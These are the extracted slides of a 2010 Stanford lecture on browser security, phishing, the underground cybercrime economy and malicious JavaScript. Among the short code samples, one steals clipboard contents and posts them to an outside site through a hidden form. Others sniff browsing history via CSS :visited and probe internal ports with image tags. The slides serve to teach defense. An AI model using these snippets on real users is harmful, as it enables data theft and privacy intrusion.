Introduction to CS241: 
Browser, Phishing and Malicious Content

John Mitchell

Dan Boneh, Elie Bursztein, Jason Bau, Gustav Rydstedt
Why this new course?

} It’s topical
} It’s important
} We’ve been doing research about it
} We thought you would be interested
} We’re academics so we think by talking
Trends

Vulnerability Disclosures
2000-2009

Percentage of Vulnerability Disclosures
Attributed to Top 10 Vendors
2009

Others: 77%
Top 10 Vendors: 23%

Source: IBM X-Force®
Operating system vulnerabilities
Web Threats 2.0 - Defeat Cybercriminals Through Defense Architecture

Web threats are booming as cyber crime mirrors the Gold Rush days. Passive defenses are no longer effective, as phishing scams grow, multi-host pages inject attacks through dynamic content links, search engines unknowingly poison results by guiding users to malware downloads, and fake software updates lure in unsuspecting users. Plus, more and more, trusted web sites are where web threats begin (as users download blindly).

Join this live TechRepublic Webcast to learn why in this day-end-age, real-time web content analysis is mandatory.

Web Threats 2.0 - Defeat Cybercriminals Through Defense Architecture
Tuesday March 30th, 2010
2:00 PM ET | 11:00 AM PT | 18:00 GMT

Register today to participate on Tuesday March 30th, 2010!

Includes live Q&A!

Send us your feedback
Another challenge: mashups
Web security

} Web browser: (client side)

} Attacks target browser security weaknesses

} Result in:

} Malware installation (keyloggers, bot-nets)

} Document theft from corporate network

} Loss of private data

} Web application code: (server side)

} Runs at web site: banks, e-merchants, blogs

} Written in PHP, ASP, JSP, Ruby, ...

} Many potential bugs: XSS, CSRF, SQL injection

} Attacks lead to stolen CC#, defaced sites

} Combinations: bad site uses unsuspecting browser to attack user’s account at good site

} Possible defenses at browser or server
Reported Web Vulnerabilities "In the Wild"

Evolution of the web vulnerabilities over the years by types

Data from aggregator and validator of NVD-reported vulnerabilities
Web vs System vulnerabilities

Evolution of the number of vulnerabilities by years

XSS peak

Number of vulnerabilities

- Web
- System

Years:
- 2005
- 2006
- 2007
- 2008
- 2009

Values:
- Web: 1096, 2793, 1528, 996, 1275
- System: 1096, 1951, 1531, 1647
Client-side vulnerabilities

Critical and High Client Vulnerability Disclosures
Affecting Browser-Related Software
2007-2009

Percent of Critical and High Client-Side Vulnerabilities with No Patch by Category
2006-2009

Source: IBM X-Force®
IPhone Flaw Lets Hackers Take Over, Security Firm Says

A team of computer security consultants say they have found a flaw in Apple’s wildly popular iPhone that allows them to take control of the device.

Charles Miller, shown on his iPhone, said that after finding a hole in security, “you were in complete control.”

By JOHN SCHWARTZ
Published: July 23, 2007
Web application vulnerabilities

Cumulative Count of Web Application Vulnerability Disclosures 1998-2009

Percentage of Vulnerability Disclosures that Affect Web Applications 2009

Source: IBM X-Force®
Social network security

- Are users at risk?
- Can companies use SNS safely to interact with customers?
- Is user-supplied content a threat?
Stanford Web Security Research

Overview
The Web Security Group is a part of the Stanford Security Laboratory. Research projects focus on various aspects of browser and web application security.

Publications
Securing the Web Platform

The Security Architecture of the Chromium Browser
Adam Barth, Collin Jackson, Charles Reis, and the Google Chrome Team 
Technical Report

Symmetric Cryptography in Javascript
Emily Stark, Michael Hamburg, and Dan Boneh 

Robust Defenses for Cross-Site Request Forgery
Adam Barth, Collin Jackson, and John C. Mitchell 

Beware of Fine-Grained Origins
Collin Jackson and Adam Barth 
In Web 2.0 Security and Privacy. (WSEP 2008)

ForceHTTPS Cookies: A Defense Against Fowarding and Pharming
Collin Jackson and Adam Barth 

Protecting Browsers from DNS Rebinding Attacks
Collin Jackson, Adam Barth, Andrew Bortz, Weidong Shen, and Dan Boneh 
In Proc. of the 14th ACM Conf. on Computer and Communications Security. (CCS 2007)

Security of web interfaces in embedded devices
KCS: Cross Channel Scripting and its impact on Web Applications
Hristo Boinov, Elie Bursztein, and Dan Boneh 
In Proc. of the 15th ACM Conf. on Computer and Communications Security. (CCS 2009)

Embedded Management Interfaces: Emerging Massive Insecurity
Hristo Boinov, Elie Bursztein, Eric Lott💂 Dan Boneh 
In Blackhat USA 2009

Security properties of JavaScript programs
An Operational Semantics for JavaScript
Sergio Maffei, John C. Mitchell, Ankur Taly 
In Proc. of the 6th Asian Programming language Symposium (APLAS 08)

Language based isolation of untrusted javascript
Sergio Maffei, John C. Mitchell, Ankur Taly 
In Proc. of the 22nd IEEE Computer Security Foundations Symposium (CSF 09)

Run-Time Enforcement of Secure JavaScript Subsets
Sergio Maffei, John C. Mitchell, Ankur Taly 
In 3rd IEEE workshop on Web 2.0 Security and Privacy 2009 (WSEP 09)

Security for Mashups
Securing Mashup Platform Communication
Adam Barth, Collin Jackson, and John C. Mitchell 

Academic research
Stanford
Berkeley
U Washington
U Illinois
Brown
Rice
...

Research labs
Microsoft
IBM
...
... oh, and Google...
Current plan for this course

**Browser security**
- Browser operation, phishing, and malicious content
- User privacy
- Mixing content
- Browser extensions
- Ajax and XSS
- Browser architecture

**Server security**
- Sessions and authentication
- More authentication, CSRF
- User data security
- Content injection
- Content isolation
- Site integrity
- HTTPS and SSL

**Advanced attacks**
- Cross-channel attacks
- Web-based malware and vulnerability detection
- Captcha + advertisement

**Embedded video content**
- Client-side defenses and application vulnerability scanning

**Weekly lab:**
- Friday 4:15-5:05
- Y2E2 room 111

**Project**
- Cumulative
- Teams of 2

**Plan guest lectures from:**
- Mozilla
- Facebook
- LinkedIn
- Youtube
- Dasient
- Whitehat
CS241: Evolution of CS142 ('09)

CS142 Web Programming and Security

Web Programming and Security
Winter 2009

The web uses complex applications that run on heterogeneous browsers that may be built using programming technologies such as Javascript, AJAX, Google Web Toolkit, Apache Struts, Java Server Faces, and Rails. This course covers how core web technologies work; common security vulnerabilities; and how to build secure web applications that avoid them.

Prerequisites: CS107 and CS108.

Administrative

Course syllabus (and readings)
Course overview (grading, textbooks, coursework, exams)
Course staff and office hours

Lectures: Monday, Wednesday, Friday, 11:00-11:50am, CERAS 300
Sections: Friday, 4:15-5:05pm, in 380-380Y
Newsgroup: sусlass cs142 (for discussion with TAs and other students)
Questions for TAs: cs142ta@cs.stanford.edu

Final

<table>
<thead>
<tr>
<th>Time</th>
<th>Location</th>
</tr>
</thead>
<tbody>
<tr>
<td>Regular: Friday 20-29 2009 08:30-11:30AM</td>
<td>HERRIN T175</td>
</tr>
<tr>
<td>Alternate: Thursday 29-2009 08:30-11:30AM HERRIN T175</td>
<td></td>
</tr>
</tbody>
</table>

Note: if you need to take the alternate final and have not yet told us, contact the TAs now.

The final will be open-book and open-laptop, but not open-internet: you will need to disable your wireless receivers.

Review Session Slides

Projects

- **Project #1: HTML and CSS**
  - Due: Wednesday, January 14, 11:50pm

- **Project #2: JavaScript Mischief**
  - Due: Wednesday, January 21
Lecture 5: 1/19/09 (ICM)

Malicious Javascript; Phishing attacks [ppt]
Reading:
- Online Identity Theft: Phishing Technology, Checkpoints, and Countermeasures. Aaron Emigh
- Network Stealing with HTTP without JavaScript, Ilia Alshanetsky
- Protecting Browser State from Web Privacy Attacks. Collin Jackson, Andrew Bortz, Dan Boneh, and John C. Mitchell
- Exposing Private Information by Timing Web Applications. Andrew Bortz, Dan Boneh, and Palash Nandy

Lecture 7: 1/23/09 (CI)

Frame isolation and basic same origin principal [ppt]
Reading:
- Securing Browser Frame Communication. Adam Barth, Collin Jackson, and John C. Mitchell

Lecture 10: 1/30/09 (DB)

Cookie same origin policy; Basic cross site scripting attacks (XSS) [pdf, ppt]
Reading:
- Same origin policy for cookies
- Beware of Finer-Grained Origins. Collin Jackson and Adam Barth

Lecture 11: 2/2/09 (DB)

Secure session management [pdf, ppt]
Reading:
- Secure Session Management With Cookies for Web Applications. Chris Palmer

Lecture 12: 2/4/09 (CI)

Cross site request forgery [pdf, ppt]
Reading:
- Robust Defenses for Cross-Site Request Forgery. Adam Barth, Collin Jackson, and John C. Mitchell

Lecture 13: 2/8/09 (ICM)

More on cross site scripting defenses [ppt]
Reading:
- OWASP Cross-site Scripting (XSS) page
- Microsoft Anti-Cross Site Scripting Library Kevin Lam
- The Web Application Hackers Handbook, pages 375-390 on basic XSS attacks and pages 423-428 on preventing XSS attacks

Lecture 16: 2/13/09 (DB)

SQL injection attacks [pdf, ppt]
Reading:
- SQL Injection attacks. Chris Anley

Lecture 18: 2/20/09 (ICM)

Language based isolation: ADsafe, FBJS [ppt]
Reading:
- Sections 1-3 of Language-based Isolation of malicious JavaScript by S. Maffei, J. Mitchell, and A. Taly

Projects

Project #1: HTML and CSS
Due: Wednesday, January 14, 11:59pm

Project #2: JavaScript Mischief
Due: Wednesday, January 21

Project #3: Abusing Side Channels
Due: Wednesday, January 28

Project #4: Cookie Management
Due: Wednesday, February 4

Project #5: XSS and CSRF vulnerabilities
Due: Wednesday, February 11

Project #6: Dynamic Pages Using Templates
Due: Wednesday, February 18

Project #7: SQL Injection and Input Filtering
Due: Wednesday, February 25

Project #8: Forms and Sessions
Due: Wednesday, March 4

Project #9: Events and Javascript
Due: Friday, March 13
Web programming poll

- Familiar with basic HTML?
- Developed a web application using:
  - Apache?
  - PHP?
  - Ruby?
  - SQL?
  - JavaScript?
  - CSS?
  - Ajax?
  - JSON?

Resource: http://www.w3schools.com/
Welcome to CS241

Welcome to this spring's course. If you are enrolled in CS241, please join the course on CourseWare. Some course information is provided in the course FAQ, which you can find under the "More" heading.

Some information posted on CourseWare may require you to log in. Do this by clicking on "Stanford login" when you first go to CourseWare, or clicking "Login" in the red banner. Use your SUnet ID and password.

If you have questions, ask them on the Discussion Forum instead of by sending email to the course staff.

Posted 4 days ago by John Mitchell

Course information

Calendar

Sat Mar 27 2010
No events to show.

Lectures

Browsers and Phishing
Course overview, Browser content rendering, phishing attacks, and malicious html, css and JavaScript. (JDM)
03/30/10

User privacy
Browser sniffing, other risks (Arvind)
04/01/10

Mixing content
Frame isolation, same origin policy, timing attacks. (Elie)
04/06/10

Browser extensions
Browser extension security model, Document sniffing, plugin/Browser-based vulnerabilities. (Elie)
04/08/10

More Lectures...
Outline for rest of today

- Phishing and online identity theft
  - Deception through web technology
  - Underground economy – what thieves are after
- Mischief and deception
  - Accessing local state
    - Reading the clipboard (now mitigated)
    - Accessing browser history
  - Customizing display based on state
    - Chameleon pages (for good and evil)
    - Context-aware phishing
  - Probing the network
    - Port scanning, with and without JavaScript
    - Timing attacks on login pages
- Communicating back to the server
  - Query parameters
  - Persistent bidirectional communication
Online Identity Theft

- **Password phishing**
  - Forged email and fake websites steal passwords

- **Password theft**
  - Criminals break into servers and steal password files

- **Spyware**
  - Keyloggers steal passwords, product activation codes, etc.

- **Botnets**
  - Networks of compromised end-user machines spread SPAM, launch attacks, collect and share stolen information

- **Magnitude**
  - $$$ billions in direct loss per year
  - Significant indirect loss
    - Loss of confidence in online transactions
    - Inconvenience of restoring credit rating, identity
Traditional phishing Attack

Sends email: “There is a problem with your eBuy account”

User clicks on email link to www.ebuju.com.

Password sent to bad guy

User thinks it is ebuy.com, enters eBuy username and password.

User clicks on email link to www.ebuju.com.
Safe to type your password?

Bank of the West

Gives me you pa55w0rds!

User name: 

Password: 

Login
Safe to type your password?
Safe to type your password?
Safe to type your password?
Please place your credit or debit card on file. This assures us of your identity and keeps eBay a safe place to buy and sell. Your card will allow us to authorize us to do so to pay selling fees.

Credit or debit card

Expiration date 08/09

Card identification number

3-digit number on the back of the card. For American Express, use the 4-digit number on the front. Learn more

Pin code

Confirm pin

Registration address
Michael Corssen, 101 Blair Road, Oyster Bay NY 11771, United States, 516 578-7273

Mother’s maiden name

Your date of birth

Social security number

nnn-nn-nnnn

Save Profile >
Geographical Distribution of Phishing Senders
2009

Geographical Distribution of Phishing URLs
2009

Source: IBM X-Force®

Brazil 23.9%
U.S.A. 10.4%
Russia 8.9%
India 5.1%
South Korea 4.8%
Argentina 4.3%
Poland 3.8%
Colombia 3.4%
Turkey 2.6%
Chile 2.2%

Romania 16.8%
U.S.A. 16.1%
China 13.0%
South Korea 11.9%
United Kingdom 6.2%
Canada 4.9%
Japan 3.9%
Russia 3.6%
Spain 2.6%
Poland 2.6%
100,000 victims of MySpace Attack
Spear-Phishing

- Targeted email to customers of specific bank
  - Higher success rate
  - Lower detection rate - beat current filtering techniques

- How to get email accounts for site customers?
  - Most sites have “Forgot my password” pages

Leaks whether an email is valid or not at that site

We’ll return to this later!
• Spam service
• Rent-a-bot
• Cash-out
• Pump and dump
• Botnet rental
Underground commerce

- Market in access to bots
  - Botherd: Collects and manages bots
  - Access to proxies (“peas”) sold to spammers, often with commercial-looking web interface

- Sample botnet rates
  - Non-exclusive access: 10¢ per machine. Exclusive access: 25¢.
  - Payment via compromised account (e.g., PayPal) or cash to Dropbox

- Identity Theft
  - Keystroke logging
  - Complete identities available for $25 - $200+
    - Rates depend on financial situation of compromised person
    - Include all info from PC files, plus all websites of interest with passwords/account info used by PC owner
    - At $200+, usually includes full credit report

[Lloyd Taylor, Keynote Systems, SFBay InfraGard Board]
Send-Safe is a bulk email software program based on a unique know-how sending technology. It provides real anonymous instant delivery - you can use your regular Internet connection because your IP address will never be shown in the email headers. Send-Safe performs email validation and displays delivery statistics in real time, which gives you the ability to evaluate the quality of your mailing lists. Send-Safe mailing software is free of charge. Our pricing is based on the number of emails you send over a given period of time.

Send-Safe benefits:
- real anonymity (using proprietary proxy routing - the next wave in bulk email stealth technology);
- sending speed depends on your connection only (thread count control - up to 500);
- lowest prices;
- free client software;
- simple to use;
- all required data client software retrieves from our server automatically (no more hunting for relays or paying hundreds of dollars for open relays);
- you can run many copies simultaneously on different computers;
- no port 25 needed (not affected by port 25 blocking ISPs);
- support, free upgrades, dedicated software team insures that Send-Safe will be able to deliver your emails.

THE MOST TROUBLEFREE MAILER IS HERE.

©2001-2005 Send-Safe.com - terms of use
Ruslan Ibragimov – ROKSO Record

The Spamhaus Project - ROKSO - Mozilla Firefox

Spamhaus SBL XBL ROKSO

Home | About ROKSO | ROKSO FAQs | Advanced Search

Search

Register Of Known Spam Operations

Ruslan Ibragimov / send-safe.com

Country: Russia State:

ROK2400 - main info Go

main info

Stealth spamwares, a favorite of DHS Club spammers.

domain: SEND-SAFE.COM
owner-address: Ibragimov Ruslan
owner-address: 12 Krasnokazarmennaya
owner-address: 111250
owner-address: Moscow
owner-address: Russia
admin-c: IR14-GANDI
tech-c: IR14-GANDI
bill-c: IR14-GANDI
nsrver: dns.intragroup.net 217.107.162.25
nsrver: dns2.send-safe.com 217.107.162.200
reg_created: 2001-11-14 04:31:54

Done
Pump-and-dump using phished or keylogged brokerage accounts

October 2006
- E-Trade lost $18M in 3 months
- TD Ameritrade lost $4M

December 2006
- Evgeny Gashichev, Estonia
- SEC froze assets of his co., Grand Logistic, on Dec 19, 2006
- Used 25 stolen accounts to manipulate US financial markets
- Made $353,609 in 6 weeks

January 2007
- Aleksey Kamardin, 21, Florida
- Used stolen accounts to pump up value of 17 penny stocks
  - Etrade, Scottrade, TD Ameritrade, JPMorgan Chase, C. Schwab
- Made $82,960 in 5 weeks, wired to Latvia
Outline

} Phishing and online identity theft
   } Deception through web technology
   } Underground economy - what thieves are after
} Mischief and deception
   } Accessing local state
      } Reading the clipboard (now mitigated)
      } Accessing browser history
   } Customizing display based on state
      } Chameleon pages (for good and evil)
      } Context-aware phishing
   } Probing the network
      } Port scanning, with and without JavaScript
      } Timing attacks on login pages
} Communicating back to the server
   } Query parameters
   } Persistent bidirectional communication
HTML Image Tags

```html
<html>
  ...
  <p> ... </p>
  ...
  <img src="http://example.com/sunset.gif" height="50" width="100">
  ...
</html>
```

Displays this nice picture È
Security issues?
Image tag security issues

} Communicate with other sites

} Hide resulting image
 } <img src="..." height="1" width="1">

} Spoof other sites
 } Add logos that fool a user

Very Important Point: A web page can send information to any site
Accessing local state

Read clipboard contents

```html
<html>
<p>Test script to read clipboard contents. </p>
<script>
    var content = clipboardData.getData("Text");
    alert("Clipboard contents = " + content)
</script>
</html>
```

This probably does not work in your current browser – try it!
Stealing clipboard contents

Create hidden form, enter clipboard text, post form

```html
<FORM name="hf" METHOD=POST ACTION="http://www.site.com/targetpage.php" style="display:none">
  <INPUT TYPE="text" NAME="topicID">
  <INPUT TYPE="submit">
</FORM>
<script language="javascript">
var content = clipboardData.getData("Text");
document.forms["hf"].elements["topicID"].value = content;
document.forms["hf"].submit();
</script>
```
Which parts of the CS258 web site did I visit recently?
Course Information for Winter 2009

Course Description  Short course description from course catalog.

Outline  Course outline, subject to revision.

Announcements  Announcements are archived here. Recent announcements:

  - [Jan 5] Welcome to CS258. We will meet Tuesday & Thursday, 2:15pm-3:30pm, in Gates B03.
  - [Jan 8] There is a course newsgroup, su.class.cs258, for student-to-student discussion related this course.
  - [Jan 15] Turning in homework: The homework submission box is in the Gates building on the 1st floor. If you are facing room Gates 182, there is a wide open space to your right. Our homework submission box is next to the large billboard (the one with photos of CS106 staff). It's part of a larger filing cabinet, and it's clearly marked 'CS258'.

Reading  Reading assignments associated with lectures and homework.

Homework  Homework assignments.

Course Information  Information and policies for CS258.

Online  This class may be available online. Here is a link to an SCPD page with links to video of lectures and discussion sections. For students on campus, use this link.

Textbook  Information related to the textbook, Foundations for Programming Languages.
Reading user history

JavaScript can read style properties

```javascript
var color = document.defaultView.getComputedStyle(link,null).
    getPropertyValue("color");
```

... if (color == "rgb(0, 0, 255)") { ...
} // end visited check

CSS :visited style property

```html
<style>
a:visited
  {background: url(track.php?bank.com); }
</style>
<a href="http://bank.com/">Hi</a>
Can be used for good or evil

- Report user risks back to bank
  - Bank can test whether customer has visited any known phishing site, warn the customer

- Context aware phishing
  - Email recipient sees logo, msg of own bank
  - Works in html-enabled email readers
Port scanning behind firewall

JavaScript can:

- Request images from internal IP addresses
  - Example: `<img src="192.168.0.4:8080"/>

- Use timeout/onError to determine success/failure

- Fingerprint webapps using known image names
Rendering and events

Basic execution model

Each browser window or frame

  Loads content

  Renders
    - Processes HTML and scripts to display page
    - May involve images, subframes, etc.

Responds to events

Events can be

  User actions: OnClick, OnMouseover

  Rendering: OnLoad, OnBeforeUnload

  Timing: setTimeout(), clearTimeout()
JavaScript onError

Basic function

Triggered when error occurs loading a document or an image

Example

```
<img src="image.gif" onerror="alert('The image could not be loaded.')"
>
```

Runs onError handler if image does not exist and cannot load

http://www.w3schools.com/jsref/jsref.onError.asp
When response header indicates that page is not an image, the browser stops and notifies JavaScript via the onerror handler.
Spear-Phishing

- Targeted email to customers of specific bank
  - Higher success rate
  - Lower detection rate - beat current filtering techniques

How to get email accounts for site customers?
- Most sites have “Forgot my password” pages

Leaks whether an email is valid or not at that site
Direct Timing

- Time a login attempt
- The response time of the server depends on whether the email address used is valid or not

- This problem affects every tested web site!
Cross-Site Timing Attack

- Hijack a user’s browser session to time sites
  - Timing depends on the user’s relationship with the target site
  - Can distinguish logged in from not
Remote scripting

Goal

Exchange data between a client-side app running in a browser and server-side app, without reloading page

Methods

Java Applet/ActiveX control/Flash

Can make HTTP requests and interact with client-side JavaScript code, but requires LiveConnect (not available on all browsers)

XML-RPC

Open, standards-based technology that requires XML-RPC libraries on server and in your client-side code.

Simple HTTP via a hidden IFRAME

IFRAME with a script on your web server (or database of static HTML files) is by far the easiest of the three remote scripting options

Frame and iFrame

Window may contain frames from different sources
  - Frame: rigid division as part of frameset
  - iFrame: floating inline frame

iFrame example

```html
<iframe src="hello.html" width=450 height=100>
  If you can see this, your browser doesn't understand IFRAME.
</iframe>
```

Why use frames?
  - Delegate screen area to content from another source
  - Browser provides isolation based on frames
  - Parent may work even if frame is broken
Simple remote scripting example

client.html: RPC by passing arguments to server.html in query string

```html
<script type="text/javascript">
function handleResponse() {
    alert('this function is called from server.html')
}
</script>
<iframe id="RSIFrame" name="RSIFrame"
style="width:0px; height:0px; border: 0px"
src="blank.html">
</iframe>
<a href="server.html" target="RSIFrame">make RPC call</a>
```

server.html: another page on same server, could be server.php, etc

```html
<script type="text/javascript">
    window.parent.handleResponse()
</script>
```

RPC can be done silently in JavaScript, passing and receiving arguments
Conclusion

} Phishing and online identity theft
  } Deception through web technology
  } Underground economy - what thieves are after
} Mischief and deception
  } Accessing local state
    } Reading the clipboard (now mitigated)
    } Accessing browser history
  } Customizing display based on state
    } Chameleon pages (for good and evil)
    } Context-aware phishing
} Probing the network
  } Port scanning, with and without JavaScript
  } Timing attacks on login pages
} Communicating back to the server
  } Query parameters
    } Persistent bidirectional communication
} More issues: flash, native client, …
Phishing and online identity theft

- Required: pages 8-12 on types of phishing attacks
- Recommended: skim pages 13-44 on defenses

History tracking

- Required: sections 1, 2.2, 4 (link tracking)
- Recommended: rest of section 2, section 3 (cache tracking)
- Optional: rest of paper

Timing attacks

- Required: sections 1, 3, 5
- Recommended: section 4 (cross-site timing)
- Optional: rest of paper